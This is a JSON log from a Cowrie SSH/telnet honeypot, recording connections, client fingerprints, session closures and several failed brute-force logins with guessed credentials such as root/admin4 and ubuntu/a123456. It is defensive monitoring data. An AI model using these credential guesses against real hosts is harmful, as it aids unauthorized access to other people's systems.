{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"0007bcae3947","protocol":"telnet","message":"New connection: 161.132.53.68:47570 (159.203.135.109:23) [session: 0007bcae3947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.980184Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:49.018084Z","src_ip":"124.18.182.99","session":"18915c95216c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.714593648910522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:50.094518Z","src_ip":"192.119.108.58","session":"fc27fbceaa5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:50.190351Z","src_ip":"124.18.182.99","session":"18915c95216c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":60280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4532c93c0b59","protocol":"ssh","message":"New connection: 220.119.37.141:60280 (10.17.0.5:22) [session: 4532c93c0b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:52.224557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:52.229453Z","src_ip":"220.119.37.141","session":"4532c93c0b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:52.424509Z","src_ip":"220.119.37.141","session":"4532c93c0b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47578,"dst_ip":"159.203.135.109","dst_port":23,"session":"3979a5f8dccf","protocol":"telnet","message":"New connection: 161.132.53.68:47578 (159.203.135.109:23) [session: 3979a5f8dccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:52.501867Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testing","message":"login attempt [ubuntu/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:53.231779Z","src_ip":"220.119.37.141","session":"4532c93c0b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.76594114303589,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:53.283875Z","src_ip":"161.132.53.68","session":"d9cdbc306d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:54.435671Z","src_ip":"220.119.37.141","session":"4532c93c0b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.832265853881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:57.100537Z","src_ip":"161.132.53.68","session":"5058f48ff3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfe872550bf","protocol":"telnet","message":"New connection: 161.132.53.68:43774 (159.203.135.109:23) [session: 2bfe872550bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:57.357420Z"}
{"eventid":"cowrie.session.closed","duration":30.613595008850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:58.120315Z","src_ip":"161.132.53.68","session":"1dfed4142991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6034038066864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:59.483752Z","src_ip":"161.132.53.68","session":"ae62b01af910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":53318,"dst_ip":"159.203.135.109","dst_port":22,"session":"b83da2e1042c","protocol":"ssh","message":"New connection: 200.105.172.184:53318 (159.203.135.109:22) [session: b83da2e1042c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:59.603748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:59.608654Z","src_ip":"200.105.172.184","session":"b83da2e1042c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84322738647461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:59.647645Z","src_ip":"161.132.53.68","session":"7bf82e068dfa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:59.733251Z","src_ip":"200.105.172.184","session":"b83da2e1042c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123456","message":"login attempt [root/ABCabc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:00.268519Z","src_ip":"200.105.172.184","session":"b83da2e1042c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:01.396948Z","src_ip":"200.105.172.184","session":"b83da2e1042c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66a51ca6073","protocol":"telnet","message":"New connection: 161.132.53.68:43786 (159.203.135.109:23) [session: b66a51ca6073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:01.914548Z"}
{"eventid":"cowrie.session.closed","duration":30.412694931030273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:02.186870Z","src_ip":"161.132.53.68","session":"74606a7210ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.54329204559326,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:03.596666Z","src_ip":"104.245.105.2","session":"c50d1cef831f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315651178359985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:04.092586Z","src_ip":"161.132.53.68","session":"ca9a05eb28ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98367762565613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:05.010850Z","src_ip":"104.245.105.2","session":"66f13ca53e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d02fd5bb860","protocol":"telnet","message":"New connection: 161.132.53.68:54140 (159.203.135.109:23) [session: 1d02fd5bb860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:08.020073Z"}
{"eventid":"cowrie.session.closed","duration":33.80511283874512,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:08.734387Z","src_ip":"161.132.53.68","session":"588df8c0855f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55662,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e43a846b1f2","protocol":"telnet","message":"New connection: 192.119.108.58:55662 (159.203.135.109:23) [session: 8e43a846b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:09.412368Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54150,"dst_ip":"159.203.135.109","dst_port":23,"session":"29616719e4bb","protocol":"telnet","message":"New connection: 161.132.53.68:54150 (159.203.135.109:23) [session: 29616719e4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:14.063867Z"}
{"eventid":"cowrie.session.closed","duration":31.086888074874878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:14.207948Z","src_ip":"161.132.53.68","session":"f5c88fd50c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54152,"dst_ip":"159.203.135.109","dst_port":23,"session":"815ee7776298","protocol":"telnet","message":"New connection: 161.132.53.68:54152 (159.203.135.109:23) [session: 815ee7776298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:15.432452Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":39116,"dst_ip":"159.203.135.109","dst_port":22,"session":"50da4c9a4047","protocol":"ssh","message":"New connection: 223.17.5.126:39116 (159.203.135.109:22) [session: 50da4c9a4047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:15.462662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:15.468251Z","src_ip":"223.17.5.126","session":"50da4c9a4047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:15.681102Z","src_ip":"223.17.5.126","session":"50da4c9a4047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59220,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1759a011b25","protocol":"telnet","message":"New connection: 192.119.108.58:59220 (159.203.135.109:23) [session: b1759a011b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:15.891139Z"}
{"eventid":"cowrie.session.closed","duration":30.641560554504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:16.105509Z","src_ip":"192.119.108.58","session":"953d59a9d97d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2026","message":"login attempt [root/2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:16.560433Z","src_ip":"223.17.5.126","session":"50da4c9a4047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51162,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44ab19982dc","protocol":"telnet","message":"New connection: 161.132.53.68:51162 (159.203.135.109:23) [session: a44ab19982dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:16.678434Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51166,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ab4ed59e41e","protocol":"telnet","message":"New connection: 161.132.53.68:51166 (159.203.135.109:23) [session: 4ab4ed59e41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:16.870174Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:17.777375Z","src_ip":"223.17.5.126","session":"50da4c9a4047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":49118,"dst_ip":"10.17.0.5","dst_port":22,"session":"917be292fea8","protocol":"ssh","message":"New connection: 114.35.59.237:49118 (10.17.0.5:22) [session: 917be292fea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:19.832237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:19.851406Z","src_ip":"114.35.59.237","session":"917be292fea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.347384452819824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:19.856279Z","src_ip":"192.119.108.58","session":"93da85dc1368","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:20.067899Z","src_ip":"114.35.59.237","session":"917be292fea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin4","message":"login attempt [root/admin4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:20.956950Z","src_ip":"114.35.59.237","session":"917be292fea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51168,"dst_ip":"159.203.135.109","dst_port":23,"session":"3540223bc3f8","protocol":"telnet","message":"New connection: 161.132.53.68:51168 (159.203.135.109:23) [session: 3540223bc3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:21.551093Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:22.172764Z","src_ip":"114.35.59.237","session":"917be292fea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95565414428711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:23.457428Z","src_ip":"161.132.53.68","session":"3979a5f8dccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.206706523895264,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:25.186729Z","src_ip":"161.132.53.68","session":"0007bcae3947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35330,"dst_ip":"159.203.135.109","dst_port":23,"session":"41cdc019c280","protocol":"telnet","message":"New connection: 161.132.53.68:35330 (159.203.135.109:23) [session: 41cdc019c280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:27.376864Z"}
{"eventid":"cowrie.session.closed","duration":32.11777138710022,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:29.475106Z","src_ip":"161.132.53.68","session":"2bfe872550bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35342,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a62aeb48fa","protocol":"telnet","message":"New connection: 161.132.53.68:35342 (159.203.135.109:23) [session: a2a62aeb48fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:31.203254Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd953a8b048","protocol":"telnet","message":"New connection: 161.132.53.68:35340 (159.203.135.109:23) [session: ccd953a8b048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:31.488711Z"}
{"eventid":"cowrie.session.closed","duration":31.57059597969055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:33.485023Z","src_ip":"161.132.53.68","session":"b66a51ca6073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35356,"dst_ip":"159.203.135.109","dst_port":23,"session":"21617be974e8","protocol":"telnet","message":"New connection: 161.132.53.68:35356 (159.203.135.109:23) [session: 21617be974e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:35.146411Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1d924845a3","protocol":"telnet","message":"New connection: 161.132.53.68:47376 (159.203.135.109:23) [session: 2a1d924845a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:37.442312Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47390,"dst_ip":"159.203.135.109","dst_port":23,"session":"374e7e109b38","protocol":"telnet","message":"New connection: 161.132.53.68:47390 (159.203.135.109:23) [session: 374e7e109b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:38.109169Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47398,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e6557dd171","protocol":"telnet","message":"New connection: 161.132.53.68:47398 (159.203.135.109:23) [session: 34e6557dd171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:38.144782Z"}
{"eventid":"cowrie.session.closed","duration":30.63393235206604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:40.046173Z","src_ip":"192.119.108.58","session":"8e43a846b1f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21622014045715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:41.236211Z","src_ip":"161.132.53.68","session":"1d02fd5bb860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47402,"dst_ip":"159.203.135.109","dst_port":23,"session":"55de530a88b2","protocol":"telnet","message":"New connection: 161.132.53.68:47402 (159.203.135.109:23) [session: 55de530a88b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:41.644254Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":36920,"dst_ip":"10.17.0.5","dst_port":22,"session":"6764265dbd5e","protocol":"ssh","message":"New connection: 96.78.175.36:36920 (10.17.0.5:22) [session: 6764265dbd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:44.204090Z"}
